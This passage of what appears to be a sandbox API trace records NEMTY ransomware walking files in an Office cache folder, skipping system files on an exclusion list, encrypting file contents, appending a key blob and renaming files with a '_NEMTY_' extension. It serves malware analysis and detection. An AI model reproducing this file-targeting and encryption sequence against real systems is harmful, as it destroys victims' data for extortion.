dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0047.489] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2=".") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="..") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="...") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="windows") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="rsa") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="NTDETECT.COM") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="ntldr") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="MSDOS.SYS") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="IO.SYS") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="boot.ini") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="boot.ini") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="ntuser.dat") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="desktop.ini") returned 1 [0047.489] lstrcmpiW (lpString1="WordLR.cab", lpString2="CONFIG.SYS") returned 1 [0047.490] lstrcmpiW (lpString1="WordLR.cab", lpString2="RECYCLER") returned 1 [0047.490] lstrcmpiW (lpString1="WordLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0047.490] lstrcmpiW (lpString1="WordLR.cab", lpString2="bootmgr") returned 1 [0047.490] lstrcmpiW (lpString1="WordLR.cab", lpString2="programdata") returned 1 [0047.490] lstrcmpiW (lpString1="WordLR.cab", lpString2="appdata") returned 1 [0047.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordLR.cab", lpUsedDefaultChar=0x0) returned 10 [0047.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordLR.cab", lpUsedDefaultChar=0x0) returned 10 [0047.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordLR.cab", lpUsedDefaultChar=0x0) returned 10 [0047.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordLR.cab", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordLR.cab", lpUsedDefaultChar=0x0) returned 10 [0047.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0047.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0047.490] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2=".") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="..") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="...") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="windows") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="rsa") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="NTDETECT.COM") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="ntldr") returned 1 [0047.490] lstrcmpiW (lpString1="WordMUI.msi", lpString2="MSDOS.SYS") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="IO.SYS") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="boot.ini") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="boot.ini") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="ntuser.dat") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="desktop.ini") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="CONFIG.SYS") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="RECYCLER") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="bootmgr") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="programdata") returned 1 [0047.491] lstrcmpiW (lpString1="WordMUI.msi", lpString2="appdata") returned 1 [0047.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.msi", lpUsedDefaultChar=0x0) returned 11 [0047.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.msi", lpUsedDefaultChar=0x0) returned 11 [0047.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.msi", lpUsedDefaultChar=0x0) returned 11 [0047.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.msi", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.msi", lpUsedDefaultChar=0x0) returned 11 [0047.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0047.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0047.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.491] Sleep (dwMilliseconds=0x5) [0047.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd003c7d0, dwHighDateTime=0x1d561e7)) [0047.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd003c7d0, dwHighDateTime=0x1d561e7)) [0047.500] GetLastError () returned 0x0 [0047.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.500] GetLastError () returned 0x0 [0047.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0047.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0047.500] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0047.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0047.500] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="YRF1xp3nwwoZKc7X4aGvK0UHSrrW3nbmjgJlpyiQij1Kn0UyqgoUtkDshoI8rT9C\r\nqqfmFyEAx+GTXRTPSUl2dsjOnUJcJbBzpYQemWvb7PvfFZ8nlr+a7CpcwXXa8EQq\r\nmaiB1CMYLtjJ1pZ2oDpmBaCFAIWtQSmFP88uRtSSFEayAWDPUkzN/E2y/VUi7tPb\r\nmkI18NCyw0pwtx16za7qVmtTDYmmJ7qhVRhJmbLkZ4HOLbnUQtHPdM4ilv9GV10U\r\nUeVf/G+R4SaKo/Fe2mIK1McslGO3geXtRAkP0p88z2VL6AIOs7z/z97Uk3A0zW1M\r\nMEbEYcb1+D84rfs/Cp3khw==\r\n", pcchString=0x653ef9c) returned 1 [0047.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0047.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0047.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0047.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0047.501] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0047.501] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2522624) returned 1 [0047.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0047.501] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.501] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0047.511] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.511] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0047.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0047.511] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=2522624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x267e00 [0047.511] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0047.513] CloseHandle (hObject=0x3c8) returned 1 [0047.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0047.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0047.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0047.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0047.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0047.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0047.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0047.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.563] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi._nemty_kgobjgd_")) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0047.564] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="..") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="...") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="windows") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="rsa") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="NTDETECT.COM") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="ntldr") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="MSDOS.SYS") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="IO.SYS") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="boot.ini") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="boot.ini") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="AUTOEXEC.BAT") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="ntuser.dat") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="desktop.ini") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="CONFIG.SYS") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="RECYCLER") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="BOOTSECT.BAK") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="bootmgr") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="programdata") returned 1 [0047.564] lstrcmpiW (lpString1="WordMUI.xml", lpString2="appdata") returned 1 [0047.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.xml", lpUsedDefaultChar=0x0) returned 11 [0047.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.xml", lpUsedDefaultChar=0x0) returned 11 [0047.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0047.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.xml", lpUsedDefaultChar=0x0) returned 11 [0047.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0047.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordMUI.xml", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordMUI.xml", lpUsedDefaultChar=0x0) returned 11 [0047.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0047.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0047.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0047.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0047.565] Sleep (dwMilliseconds=0x5) [0047.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd00faeb0, dwHighDateTime=0x1d561e7)) [0047.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd00faeb0, dwHighDateTime=0x1d561e7)) [0047.578] GetLastError () returned 0x0 [0047.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0047.578] GetLastError () returned 0x0 [0047.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0047.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0047.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0047.578] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, 